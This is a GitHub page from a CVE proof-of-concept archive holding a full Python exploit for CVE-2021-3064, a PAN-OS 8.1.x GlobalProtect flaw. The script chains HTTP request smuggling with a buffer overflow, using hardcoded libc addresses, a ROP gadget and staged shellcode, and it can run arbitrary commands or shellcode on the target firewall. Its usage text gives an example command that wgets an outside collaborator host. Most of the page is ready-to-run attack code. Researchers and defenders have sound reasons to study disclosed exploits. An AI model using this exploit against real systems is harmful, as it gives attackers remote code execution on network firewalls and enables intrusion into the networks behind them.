4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / CVE-2021-3064.py PY
#!/usr/bin/env python3

#
# Bishop Fox Cosmos Team
# Pan-OS 8.x_vm buffer overflow exploit 
# @CarlLivitt
#
# April 2022
#
# Run: ./CVE-2021-3064.py -h
#

import struct
import ssl
import socket
import sys
import time
import base64
import getopt

def usage():
    print((
        "Bishop Fox Cosmos Team\n"
        "Palo Alto 8.1.1 - 8.1.16 RCE Exploit\n"
        "\n"
        "%s [-v] -t host[:port] [ -c commands | -s shellcode_file ]\n"
        "\n"
        "   -h              Help.\n"
        "   -v              Test if vulnerable. No exploit.\n"
        "   -t host[:port]  Specify the target IP:port. Defaults to port 443.\n"
        "   -s filename     Use raw shellcode from <filename>.\n"
        "   -c commands     Run <commands> on the firewall.\n"
        "                   E.g. \"%s -t foo.com -c 'wget https://bf_collaborator.url/; foo; bar;'\"\n" 
        "                   or   \"%s -t bar.com:8443 -s /path/to/shellcode.bin\""
        "" % (sys.argv[0], sys.argv[0], sys.argv[0])
        ))
    exit(0)

# These magic numbers are taken from /lib64/libc-2.12.so.1 and are
# identical across versions 8.1.1 - 8.1.16 of PanOS.
systemAddr =   0x7ffff70176b0    # 8.1.1 - 8.1.16
ROPGadget  =   0x7ffff704a72d    # 8.1.1 - 8.1.16
mprotectAddr = 0x7ffff70a8fa0    # 8.1.1 - 8.1.16
#systemAddr = 0x7ffff70170b0   # 8.1.0 
#ROPGadget  = 0x7ffff7032ff5   # 8.1.0
#mprotectAddr = ????           # 8.1.0 # I haven't looked this up yet

#
# NULL-free shellcode for strcpy() overflow.
# This is basically a loader that exposes an interface to run arbitrary shellcode
# and then restore the stack so that the exploited function call returns as normal
# without crashing or disrupting avalability.
#
exploitPayload = (

    ##
    ## 2nd stage of shellcode. Not the entry point.
    ## This basically does mprotect(heap, 65535, RWX); jmp heap;
    ##
    "\x48\xc7\xc0\x8f\x90\x90\x90"              # mov rax, 0x9090908f           # don't pollute the heap with fake egg
    "\xfe\xc0"                                  # inc rl                        # rax = 0x58584148 = "HAXX" = egg
    "\x31\xc9\x48\x83\xe9\x01"                  # mov rcx, 0xffffffffffffffff   # count forever
    "\x48\xc7\xc7\x08\x01\x01\x01"              # mov rdi, 0x01010108           # start address for egg hunt on heap
    "\xf2\xaf"                                  # repne scasd eax, dword [rdi]  # find "\x90\x90\x90\x90"
    "\x57"                                      # push rdi                      # save a copy of heap address for later

    # mprotect param 1: page-aligned address to modify
    # mprotect(2) requires a page-aligned address. Pages are typically 4k in size.
    # A simple hack for this is to shift right by 12 bits, then shift left by 12 bits.
    # This takes an address like 0x10c9ABC and makes it 0x10c9000.
    "\x48\xc1\xef\x0c"                          # shr rdi, 12                   # shift right then left by 12 bits...
    "\x48\xc1\xe7\x0c"                          # shl rdi, 12                   # ...to page-align the heap address.
    
    # mprotect param 2: number of bytes to change. 64k in this case.
    "\x48\xc1\xe9\x30"                          # shr rcx, 48                   # leave 0x000000000000ffff in rcx
    "\x48\x89\xce"                              # mov rsi, rcx
    
    # mprotect param 3: RWX page protection flags
    "\x28\xf6"                                  # sub dh, dh
    "\xb2\x07"                                  # mov dl, 7                     # RWX

    # call mprotect(heap_addr, 0xffff, PAGE_READ | PAGE_WRITE | PAGE_EXECUTE)
    "\xff\xd3"                                   # call rbx / mprotect
    
    # restore heap/shellcode address into rbx, then jump to it
    "\x5b"                                       # pop rbx
    "\xff\xe3"                                   # jmp rbx
    
    # 1 byte to spare. 
    # Our work is done, control has been transferred to heap shellcode.
    "\x90"
    
    ##
    ## 1st stage (entry point) of shellcode. This is where the party starts! 
    ## We land here after the ROP gadget, the address of which we used to clobber
    ## the saved rip on the stack during the buffer overflow, does a "jmp rsi". 
    ##
    "\x48\xbb__MPROTECT__\xff\xff"              # mov rbx, addr_of_mprotect with ffff in msb
    "\x48\xc1\xe3\x10"                          # shl rbx, 16
    "\x48\xc1\xeb\x10"                          # shr rbx, 16   # rbx=0x00007ffff70176b0 (mprotect @ libc-2.12.so)
    "\x90\x90"                                  # nop padding
    "\xeb\xb8"                                  # jmp -70       # jump to 2nd stage of shellcode, above.

    # Last 6 characters (7 with the strcpy()'d NULL) replace RIP on the stack
    "__ROP_GADGET__"                            # RET overwrite. 0x007ffff704a72d @ libc-2.12.so = "jmp rsi" 

).replace("__MPROTECT__",   struct.pack('<Q', mprotectAddr)[0:6].decode('raw_unicode_escape'))\
 .replace("__ROP_GADGET__", struct.pack('<Q', ROPGadget)[0:6].decode('raw_unicode_escape'))

stackSaveShellcode = "\x54"                     # push rsp

# The system() function is greedy for stack space. So greedy, in fact, that
# it trashes too much of the stack that we later need to recover gracefully.
# This shellcode gives system() (or any other shellcode) 64k of space on the
# stack to play with. 
stackAllocShellcode = (
    "\x66\xb8\xff\xff"                          # xor rax, rax
    "\x48\x31\xc0"                              # mov ax, 0xffff                # give 64k of stack space to shellcode
    "\x48\x29\xc4"                              # sub rsp, rax
)

# Commands passed to the "-c" command-line argument will be executed
# by this shellcode. The commands are stored on the heap, which this 
# shellcode searches to find the commands before executing them.
commandExecShellcode = (
    "\x48\xba__SYSTEM__\xff\xff"                # mov rdx, system@GOT | 0xffff000000000000
    "\x48\xc1\xe2\x10"                          # shl rdx, 16
    "\x48\xc1\xea\x10"                          # shr rdx, 16   # rdx=0x00007ffff70176b0 (system @ libc-2.12.so)

    "\x48\xc7\xc0\x47\x41\x58\x58"              # mov rax, 0x58584147           # don't pollute the heap with false egg
    "\x48\xff\xc0"                              # inc rax                       # rax = 0x58584148 = "HAXX" = egg
    "\x31\xc9\x48\x83\xe9\x01"                  # mov rcx, 0xffffffffffffffff   # count forever
    "\x48\xc7\xc7\x08\x01\x01\x01"              # mov rdi, 0x01010108           # start address for egg hunt on heap
    "\xf2\xaf"                                  # repne scasd eax, dword [rdi]  # find "HAXX"

    "\xff\xd2"                                  # call rdx                      # system("HAXX; OS commands;")    
).replace("__SYSTEM__",     struct.pack('<Q', systemAddr)[0:6].decode('raw_unicode_escape'))

# This is called last to mop up the damage we did to the stack.
# It emulates the stack layout that's 4 frames back up the parent
# caller stack, then runs the same instructions as that function's
# epilogue. It prevents a crash and keeps everything running nicely.
stackRestoreShellcode = (
    "\x5c"                                      # pop rsp                       # restore rsp
    "\x48\x31\xc0"                              # xor rax, rax
    "\x66\xb8\xa0\x02"                          # mov ax, 0x2a0                 # add the magic offset to rsp
    "\x48\x01\xc4"                              # add rsp, rax
    "\x48\x89\xe5"                              # mov rbp, rsp                  # rbp = rsp
    "\x48\x31\xc0"                              # xor rax, rax
    "\xb0\x50"                                  # mov al, 0x50                  # in this stack frame, rbp = rsp + 0x50
    "\x48\x01\xc5"                              # add rbp, rax                  # add the magic offset to rbp

    # rsp and rbp are now set to the values normally associated with sslvpnHandler_run()'s epilogue.
    # The original sslvpnHandler_run() code calls leave/ret, so we do too.
    "\xc9"                                      # leave
    "\xc3"                                      # ret

    # Our work here is done. Appweb3 will now close the HTTP session normally. Nothing further happens, the end.
)

# Bug #1: HTTP smuggling.
payload = (
    "HEAD /clientcert-info.sslvpn?cert_valid=true&cert_user=foo&cert_present=bar&cert_hostid=12345 HTTP/1.1\r\n"
    # for 8.1.17 "HEAD /clientcert-info.sslvpn?cert_valid=true&cert_user=foo&cert_present=bar&cert_hostid=12345&ts=AAAAAAAAAAAAAAAAAAAAAA&token=QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUE= HTTP/1.1\r\n"
    "Transfer-Encoding\r\n"
    "Connection: keep-alive\r\n"
    "Content-length:LLLLL\r\n"
    "\r\n"
)
# Bug #2: Buffer overflow in smuggled HTTP header 'X-Real-IP'.
smuggledRequest = (
    "GET /clientcert-info.sslvpn?cert_valid=true&cert_user=foo&cert_present=bar&cert_hostid=12345 HTTP/1.0\r\n"
    # for 8.1.17 "GET /clientcert-info.sslvpn?cert_valid=true&cert_user=foo&cert_present=bar&cert_hostid=12345&ts=AAAAAAAAAAAAAAAAAAAAAA&token=QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUE= HTTP/1.0\r\n"
    "X-Real-IP: XXXXX\r\n"
    "X-Real-PORT: 31337\r\n"
    "\r\n"
    "\x90\x90\x90\x90\x90\x90\x90\x90YYYYY\xcc\xcc\xcc\xcc\xcc\xcc\xccHAXX HAXX HAXX HAXX HAXX HAXX HAXX HAXX;ZZZZZ;\r\n"
    "\r\n"
)

# Functions

# Return a socket connected to the target.
# It might be SSL, it might be cleartext, we don't care.
# It's always cleartext to the caller; just read/write it.
def getConnectedSocket(host, port):
    # Setup SSL
    ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT)
    ctx.check_hostname = False
    ctx.verify_mode = ssl.CERT_NONE
    tcpSock = socket.socket(socket.AF_INET, socket.SOCK_STREAM, 0)
    sslSock = ctx.wrap_socket(tcpSock, server_hostname=host)

    # Try SSL. Fall back to clear text if it fails.
    sock = sslSock
    try:
        sock.connect((host, port))
    except ssl.SSLError:
        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM, 0)
        try:
            sock.connect((host, port))
        except:
            print("ERROR: couldn't connect to %s:%d" % (host, port))
            exit(1)
    return sock

# Helper to send bytes to a socket and read a response
def send_recieve(sock, data):
    try:
        sock.sendall(data)
        return sock.recv(4096).decode().split('\r\n')
    except Exception as e:
        print("send_receive exception: ", e)
        return None

# Return True or False
def is_vulnerable(host, port):
    # connect to remote server
    sock = getConnectedSocket(host, port)

    # send request designed to elicit "Invalid input"
    payload = "GET /clientcert-info.sslvpn? HTTP/1.1\r\n\r\n".encode('raw_unicode_escape')
    r = send_recieve(sock, payload)

    if (r == None) or (not "HTTP/1.1 552 Custom error" in r):
        reason = "Not vulnerable: doesn't look like Palo Alto Global Protect"
        return (False, reason)

    if not "<p>Invalid input: /clientcert-info.sslvpn</p>" in r:
        reason = "Not vulnerable: didn't receive expected response ('Invalid input') from Global Protect"
        return (False, reason)

    # send request that will pass for <= 8.1.16, but error with "Invalid input" for >= 8.1.17
    payload = "GET /clientcert-info.sslvpn?cert_valid=true&cert_user=foo&cert_present=bar&cert_hostid=12345 HTTP/1.1\r\n\r\n".encode('raw_unicode_escape')
    r = send_recieve(sock, payload)

    if (r == None) or (not "HTTP/1.1 552 Custom error" in r):
        reason = "Not vulnerable: didn't receive expected response ('HTTP/1.1 552 Custom error')"
        return (False, reason)

    if "<p>Invalid input: /clientcert-info.sslvpn</p>" in r:
        reason = "Not vulnerable: found Pan-OS version >= 8.1.17 (see code comments re: 8.1.17)"
        return (False, reason)
        # for 8.1.17 support: return (True, reason)
    
    if "Transfer-Encoding: chunked" in r:
        if "Connection: keep-alive" in r:
            if "Content-Type: text/html" in r:
                return (True, "Vulnerable!")

    return (False, "Not vulnerable? Unknown. Response: %s" % str(r))

# Either exit() if unsuccessful, or return if (probably) successful.
def do_exploit():
    global payload, host, port

    print("[+] do_exploit(%s:%d)" % (host, port))
    try:
        sock = getConnectedSocket(host, port)   
        sock.send(payload.encode('raw_unicode_escape'))
    
        # Read firewall response
        #print("[+] Read response")
        r = sock.recv(512).decode().split('\r\n')
        response = "\n".join(r)
        sock.close()
    except Exception as e:
        print("\nException: ", e)

    # If we get a response matching the following parameters, then the exploit
    # was _probably_ successful. Or it crashed the remote process. Figure it out ;)
    if "HTTP/1.1 400 Bad Request" in response and "Content-Length: 176" in response:
        print("[+] Received the expected response! Exploit appears successful.")
    else:
        print("[!] Did NOT receive the expected response.\n\n%s" % response)
        exit(1)


#
# Start
#
if __name__ == "__main__":

    stage3Shellcode = ""
    shellcodeMode = False
    commandMode = False
    attemptExploit = True
    shellcodeFile = ""
    rceCommands = ""
    host = ""
    port = 0

    # Handle command-line
    try:
        opts, args = getopt.getopt(sys.argv[1:], "hvt:s:c:", ["help", "test-vuln", "target=", "shellcode-file=","command="])
    except getopt.GetoptError as err:
        # print help information and exit:
        print(err)  # will print something like "option -a not recognized"
        usage()
        sys.exit(2)
    for o, a in opts:
        if o in ("-h", "--help"):
            usage()
            sys.exit()

        elif o in ("-v", "--test-vuln"):
            attemptExploit = False

        elif o in ("-t", "--target"):
            host = a
            if ':' in host:
                (host, port) = host.split(':')
                port = int(port)
            else:
                host = a
                port = 443

        elif o in ("-s", "--shellcode"):
            shellcodeMode = True
            shellcodeFile = a
            try:
                with open(shellcodeFile, mode='rb') as file:
                    userShellcode = file.read()    
                    stage3Shellcode = stackSaveShellcode + stackAllocShellcode + userShellcode + stackRestoreShellcode
            except:
                print("Error, couldn't open %s." % shellcodeFile)
                exit(2)

        elif o in ("-c", "--command"):
            commandMode = True
            rceCommands = a
            stage3Shellcode = stackSaveShellcode + stackAllocShellcode + commandExecShellcode + stackRestoreShellcode

        else:
            usage()
            exit(1)

    if (commandMode == False and shellcodeMode == False) or (commandMode == True and shellcodeMode == True):
        usage()
        exit(1)

    if attemptExploit == False and (shellcodeMode == True or commandMode == True):
        usage();
        exit(1)

    if host == "":
        usage()
        exit(1)


    # Test vuln before trying the exploit
    print("[+] Testing to see if %s is vulnerable..." % host)
    (status, reason) = is_vulnerable(host, port)
    if status == False:
        print("[!] %s" % reason)
        exit(2)

    if attemptExploit == False:
        print("[+] %s" % reason)
        exit(0)


    # Populate our payload buffer
    smuggledRequest = smuggledRequest.replace("XXXXX", exploitPayload)
    smuggledRequest = smuggledRequest.replace("YYYYY", stage3Shellcode)
    smuggledRequest = smuggledRequest.replace("ZZZZZ", rceCommands)
    payload = payload.replace("LLLLL", str(len(smuggledRequest)))
    payload = payload + smuggledRequest

    # Unleash the beast
    print("[+] %s appears to be vulnerable. Trying the exploit!" % host)
    do_exploit()
    print("[+] All done. So long, and thanks for all the fish!")

# EOF